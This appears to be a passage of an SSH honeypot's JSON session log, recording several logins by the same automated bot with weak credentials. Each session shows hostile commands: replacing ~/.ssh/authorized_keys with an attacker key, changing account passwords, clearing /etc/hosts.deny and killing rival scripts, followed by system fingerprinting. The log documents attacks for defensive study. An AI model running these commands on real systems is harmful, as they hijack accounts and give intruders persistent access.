-l"},{"seq":20,"at":"2026-08-27T07:38:50.208873+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:38:50.547629+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:38:51.190612+00:00","kind":"output","latency_ms":null,"data":"top - 07:38:51 up 7 days, 4:28, 0 user, load average: 0.26, 0.24, 0.27\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:38:51.535347+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:38:52.187655+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:38:52.532286+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:38:53.353117+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:38:53.697198+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:38:54.566425+00:00","kind":"output","latency_ms":null,"data":"ookla"},{"seq":29,"at":"2026-08-27T07:38:54.909833+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:38:56.315285+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:38:56.665677+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:38:57.877391+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ookla","password":"ookla","method":"password","accepted":true,"tier":"other"}]} {"id":"604f475b-98ce-4588-a71b-09b89ef05a52","name":"zealous-clever-civet","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":50982,"username":"mc","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:36:54.895137+00:00","ended_at":"2026-08-27T07:36:56.236864+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T07:36:36.201685+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:36:36.525911+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:36:40.441470+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:36:41.309644+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:36:41.636654+00:00","kind":"input","latency_ms":null,"data":"echo -e \"mc123\\nflP0EKsraZK9\\nflP0EKsraZK9\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:36:41.961901+00:00","kind":"input","latency_ms":null,"data":"echo \"mc123\\nflP0EKsraZK9\\nflP0EKsraZK9\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:36:42.287226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:36:42.540835+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:36:42.868034+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:36:43.770132+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:36:44.098988+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:36:45.251325+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:36:45.582025+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:36:46.405228+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:36:46.732904+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:36:47.580934+00:00","kind":"output","latency_ms":null,"data":" 07:36:47 up 7 days, 4:26, 0 user, load average: 0.04, 0.03, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:36:47.903994+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:36:48.283521+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:36:48.609871+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:36:48.980173+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:36:49.306656+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:36:49.974246+00:00","kind":"output","latency_ms":null,"data":"top - 07:36:49 up 7 days, 4:26, 0 user, load average: 0.04, 0.03, 0.04\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:36:50.300520+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:36:50.654094+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:36:50.979824+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:36:51.637727+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:36:51.965733+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:36:52.826815+00:00","kind":"output","latency_ms":null,"data":"mc"},{"seq":29,"at":"2026-08-27T07:36:53.152628+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:36:54.570344+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:36:54.895998+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:36:56.139034+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mc","password":"mc123","method":"password","accepted":true,"tier":"other"}]} {"id":"adea8a27-3880-44a8-8881-07ebd64b8168","name":"solemn-upland-firefly","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":59684,"username":"ugo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:34:54.128378+00:00","ended_at":"2026-08-27T07:34:55.667393+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2242,"events":[{"seq":1,"at":"2026-08-27T07:34:34.531726+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:34:34.855420+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:34:38.993020+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:34:39.894044+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:34:40.220755+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ugo\\nQ5vIlXWryEPP\\nQ5vIlXWryEPP\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:34:40.547358+00:00","kind":"input","latency_ms":null,"data":"echo \"ugo\\nQ5vIlXWryEPP\\nQ5vIlXWryEPP\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:34:40.868841+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:34:41.689647+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:34:42.013615+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:34:43.322828+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:34:43.649233+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:34:44.596880+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:34:44.922735+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:34:45.635704+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:34:45.964011+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:34:46.741865+00:00","kind":"output","latency_ms":null,"data":" 07:34:46 up 7 days, 4:24, 0 user, load average: 0.19, 0.18, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:34:47.065505+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:34:47.646515+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:34:47.970872+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:34:48.700682+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:34:49.024492+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:34:49.373805+00:00","kind":"output","latency_ms":null,"data":"top - 07:34:49 up 7 days, 4:24, 0 user, load average: 0.19, 0.18, 0.2\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:34:49.699840+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:34:50.205647+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:34:50.526004+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:34:51.387381+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:34:51.706816+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:34:52.406509+00:00","kind":"output","latency_ms":null,"data":"ugo"},{"seq":29,"at":"2026-08-27T07:34:52.730997+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:34:53.804078+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:34:54.129929+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:34:55.570882+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ugo","password":"ugo","method":"password","accepted":true,"tier":"other"}]} {"id":"00ca3838-07e4-43f2-97b7-a588c7bf3f10","name":"gallant-golden-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":40150,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:32:38.561558+00:00","ended_at":"2026-08-27T07:32:40.464658+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T07:32:21.246144+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:32:21.568532+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:32:25.418303+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:32:25.884764+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:32:26.209905+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234567\\nCKL1SjNjMYHQ\\nCKL1SjNjMYHQ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:32:26.533578+00:00","kind":"input","latency_ms":null,"data":"echo \"1234567\\nCKL1SjNjMYHQ\\nCKL1SjNjMYHQ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:32:26.855497+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:32:27.660224+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:32:27.983931+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:32:29.220166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:32:29.545250+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:32:30.523967+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:32:30.850341+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:32:31.351998+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:32:31.676569+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:32:32.116697+00:00","kind":"output","latency_ms":null,"data":" 07:32:32 up 7 days, 4:22, 0 user, load average: 0.22, 0.27, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:32:32.442465+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:32:32.797089+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:32:33.120646+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:32:33.577745+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:32:33.900912+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:32:34.594238+00:00","kind":"output","latency_ms":null,"data":"top - 07:32:34 up 7 days, 4:22, 0 user, load average: 0.22, 0.27, 0.18\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:32:34.918234+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:32:35.488611+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:32:35.811321+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:32:36.225742+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:32:36.555119+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:32:36.926765+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T07:32:37.250401+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:32:38.241899+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:32:38.562363+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:32:40.368733+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"1234567","method":"password","accepted":true,"tier":"other"}]} {"id":"94ff5a48-3683-4428-9c98-5452bc5b7406","name":"valiant-plush-turnstone","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":48844,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":368,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:30:31.282669+00:00","ended_at":"2026-08-27T07:30:32.695110+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T07:30:10.905891+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:30:11.272243+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:30:15.711065+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:30:16.462581+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:30:16.816032+00:00","kind":"input","latency_ms":null,"data":"echo \"root:93IiYqsJTF5F\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:30:17.182039+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:30:17.548651+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:30:18.030047+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:30:18.397631+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:30:19.667049+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:30:20.027340+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:30:21.327500+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:30:21.696789+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:30:22.570338+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:30:22.938023+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:30:23.619122+00:00","kind":"output","latency_ms":null,"data":" 07:30:23 up 7 days, 4:20, 0 user, load average: 0.12, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:30:23.987600+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:30:24.675491+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:30:25.043823+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:30:25.647556+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:30:26.014241+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:30:26.515400+00:00","kind":"output","latency_ms":null,"data":"top - 07:30:26 up 7 days, 4:20, 0 user, load average: 0.12, 0.12, 0.11\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:30:26.886034+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:30:27.598468+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:30:27.971914+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:30:28.344276+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:30:28.712190+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:30:29.585484+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:30:29.953493+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:30:30.917541+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:30:31.283840+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 